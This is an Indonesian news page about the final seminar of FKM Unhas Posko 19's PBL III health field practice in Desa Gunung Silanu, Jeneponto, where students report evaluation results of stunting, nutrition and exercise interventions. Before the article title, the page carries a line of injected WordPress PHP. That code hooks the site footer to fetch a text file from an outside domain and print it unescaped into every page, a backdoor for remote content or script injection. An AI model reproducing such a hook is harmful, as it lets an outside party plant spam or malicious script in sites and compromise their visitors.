function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Seminar Akhir PBL III FKM Unhas: Posko 19 Paparkan Hasil Evaluasi Program Kesehatan di Desa Gunung Silanu - Suluh Nusantara

Home / Uncategorized

Senin, 30 Juni 2025 - 16:50 WIB

Seminar Akhir PBL III FKM Unhas: Posko 19 Paparkan Hasil Evaluasi Program Kesehatan di Desa Gunung Silanu

Enam mahasiswa dari Posko 19 Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) menutup kegiatan Praktik Belajar Lapangan (PBL) III di Desa Gunung Silanu, Kecamatan Bangkala, Kabupaten Jeneponto, dengan menggelar seminar akhir pada Senin, 30 Juni 2025. Kegiatan yang dilaksanakan di Kantor Desa Gunung Silanu ini dihadiri oleh 22  orang peserta. Selain Kepala Desa, seminar akhir PBL III ini dihadiri oleh beberapa aparat desa, Kepala Dusun, para kader dan tokoh masyarakat Desa Gunung Silanu.

Kegiatan seminar akhir ini bertujuan untuk memaparkan hasil evaluasi intervensi kegiatan yang telah dilaksanakan selama 2 minggu dalam PBL II pada bulan Januari 2025 kemarin. Dalam seminar akhir ini, Koordinator Posko 19, Rany Maharani, menyampaikan rasa terima kasih kepada semua pihak yang telah mendukung kegiatan PBL III di Desa Gunung Silanu. Ia juga memohon maaf atas segala kesalahan yang terjadi selama kegiatan tersebut sebagai salam perpisahan.

Baca Juga  Posko 14 PBL III FKM Unhas Laksanakan Evaluasi Intervensi Edukasi Stunting: Menilai Efektivitas Edukasi dengan Media X-Banner dan Video Animasi pada Wanita Usia Subur di Desa Tombo-Tombolo

Kepala Desa Gunung Silanu juga mengucapkan terima kasih kepada mahasiswa PBL III yang telah turun langsung ke masyarakat dalam pelaksanaan evaluasi program. Ia berharap kehadiran mahasiswa PBL bisa memberikan manfaat dan pelajaran bagi masyarakat Desa Gunung Silanu serta meminta maaf jika ada hal yang kurang berkenan dari masyarakat Desa Gunung Silanu.

Dalam pemaparannya, Rany Maharani menjelaskan bahwa selama PBL II yang dilaksanakan pada Januari 2025, telah dilakukan enam intervensi, terdiri atas empat intervensi non-fisik dan dua intervensi fisik. Hasil evaluasi menunjukkan adanya peningkatan pengetahuan dan sikap peserta, khususnya dalam intervensi non-fisik seperti keberagaman dan tekstur MPASI, pentingnya konsumsi tablet tambah darah (TTD), dan senam sehat untuk mendukung pencapaian SDGs 3 yaitu Kehidupan Sehat dan Sejahtera. Sementara itu, intervensi fisik berupa poster edukasi dan buku saku stunting masih berada dalam kondisi baik dan relevan untuk mendukung pencapaian SDGs 4 yaitu Pendidikan Berkualitas.

Baca Juga  Posko 14 Gelar Seminar Akhir untuk Pemaparan Hasil Intervensi Kesehatan Tematik Stunting di Desa Tombo-Tombolo

Diharapkan dengan adanya evaluasi ini, program PBL III dapat memberikan kontribusi yang positif dalam mendukung peningkatan Sustainable Development Goals (SDGs) dan meningkatkan kesadaran masyarakat terkait kesehatan di Desa Gunung Silanu.

Share :

Baca Juga

Uncategorized

Pengabdian Masyarakat Berupa Sosialisasi Pendaftaran Mobile JKN di Desa Borikamase, Kabupaten Maros

Uncategorized

Cegah Stunting, Selamatkan Generasi: Pembagian Buku Saku Cegah Stunting Oleh Posko 25 PBL 2 FKM Unhas untuk Ibu Hamil dan Ibu Baduta di Desa Borongtala, Kabupaten Jeneponto

Uncategorized

Workshop S2 Ilmu Gizi: Penguatan Kapasitas Thematic Research Group (TRG) dan Publikasi Jurnal untuk Meningkatkan Kualitas Penelitian Mahasiswa dan Dosen

Uncategorized

Penyuluhan Mengenai Cara Pengolahan Sampah Plastik Menjadi Sesuatu Yang Bermanfaat

Uncategorized

Mahasiswa FKM Unhas Posko 35 Desa Tinco Gelar Seminar Awal dalam Rangka Praktik Belajar Lapangan I (PBL I) di Kecamatan Citta, Kabupaten Soppeng

Uncategorized

Kreativitas Penanganan Sampah: FKM Unhas Gelar Penyuluhan Ecobrick di UPT SPF SDN Lakkang

Uncategorized

Bukan Sekadar Makan! Orang Tua SDN 191 Barru Dapat Edukasi Gizi Langsung dari Ahlinya

Uncategorized

Pentingnya Stimulasi dan Bahaya Pemberian Smartphone Pada Anak Usia Dini: Sebuah Penyuluhan Pola Asuh di Desa Balang Baru, Kec. Tarowang Kab. Jeneponto